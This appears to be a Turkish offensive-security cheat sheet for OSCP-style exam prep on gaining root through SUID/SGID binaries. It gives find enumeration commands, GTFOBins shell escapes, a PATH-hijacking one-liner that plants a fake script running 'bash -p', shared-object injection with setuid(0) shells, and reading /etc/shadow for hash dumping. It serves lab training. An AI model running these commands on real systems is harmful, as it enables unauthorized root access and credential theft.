SUID/SGID İstismarı — Discovery, GTFOBins, Shared-Object Injection
SUID/SGID bit'i set edilmiş binary'leri bul ve istismar et: GTFOBins ile setuid abuse, eksik kütüphane için shared-object injection, ve custom binary'lerde PATH/komut hijacking yoluyla root kazanımı.
- Hedefte düşük yetkili kullanıcı shell'i (www-data/user)
- find ve gcc/strings/ltrace gibi temel araçlar
Komutlar
find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null /usr/bin/find . -exec /bin/sh -p \; -quit cp=$(command -v cp); $cp --no-preserve=mode,ownership /tmp/rootbash /tmp/x 2>/dev/null; bash -p ./suid_binary strings /path/to/suid_binary ltrace /path/to/suid_binary 2>&1 echo '#!/bin/bash\nbash -p' > /tmp/service; chmod +x /tmp/service; export PATH=/tmp:$PATH; /path/to/suid_binary ldd /path/to/suid_binary gcc -shared -fPIC -o /tmp/libcustom.so /tmp/inject.c strace -f -e trace=open,openat,access /path/to/suid_binary 2>&1 | grep -iE 'ENOENT|\.so' Genel Bakış
SUID (Set-User-ID) ve SGID (Set-Group-ID) bit’i, bir binary’nin kendisini sahibinin (genelde root) effective UID’i ile çalıştırmasını sağlar. Yanlış yapılandırılmış veya istismar edilebilir bir SUID binary, düşük yetkili kullanıcıdan root’a en sık kullanılan privesc vektörlerinden biridir. Üç ana senaryo vardır: bilinen GTFOBins binary’leri, eksik/yazılabilir shared object (.so) injection ve custom (geliştirici eliyle yazılmış) binary istismarı.
Enumeration
İlk adım her zaman find / -perm -4000 -type f 2>/dev/null ile SUID listesini çıkarmaktır. Çıktıyı /usr/bin, /bin, /sbin altındaki standart binary’lerle karşılaştır; standart dışı (/opt, kullanıcı home dizini, alışılmadık isimler) olanlar genelde kasıtlı yerleştirilmiş zafiyetlerdir.
- Standart SUID baseline:
ping,mount,su,passwd,sudo,pkexecvb. Bunlar normaldir ama versiyon bazlı CVE içerebilir (örn.pkexec→ CVE-2021-4034,sudo→ CVE-2021-3156). - Custom binary bulduysan
stringsveltraceile içini analiz et:system("id")gibi relative çağrılar PATH hijacking’e,execvetam-path çağrıları ise farklı vektörlere işaret eder.
Exploitation — GTFOBins
Bulunan binary’yi GTFOBins üzerinde ara. Çoğu binary için -p (preserve privileges) flag’i kritiktir çünkü bash/sh varsayılan olarak effective UID’i düşürür. find ... -exec /bin/sh -p \; klasik bir örnektir. nmap (eski interactive mode), vim, less, awk, cp, nano gibi onlarca binary listede mevcuttur.
Exploitation — Shared Object Injection
ldd veya strace -e openat ile binary’nin yüklemeye çalıştığı ama bulamadığı (ENOENT) ya da yazılabilir bir dizinde duran .so dosyasını tespit et. Constructor fonksiyonu içinde setuid(0); setgid(0); system("/bin/bash -p") içeren bir C dosyasını gcc -shared -fPIC ile derle, beklenen path’e yerleştir ve binary’yi çalıştır.
Exploitation — Custom Binary & PATH Hijacking
Custom binary system("service ...") gibi tam path olmadan bir komut çağırıyorsa, kendi PATH’inin başına yazılabilir bir dizin (örn. /tmp) ekleyip aynı isimde bash -p çalıştıran sahte bir script koy. SUID context’i korunur ve root shell açılır.
Notlar / Gotchas
- Effective UID korunsa bile
bash< 4.4 ve modernshprivilege drop yapar; mutlaka-pkullan. find -perm -4000çıktısını LinPEAS/linux-smart-enumeration otomatik tarar ama OSCP sınavında manuel doğrulama beklenir.- SGID binary’ler bazen
shadowgrubu üzerinden/etc/shadowokuma yetkisi verir — root olmasa da hash dump’a giden bir yoldur. - Custom binary’yi sınav makinende
gdb/ltraceyoksa hedeften kendi Kali’ne transfer edip analiz et.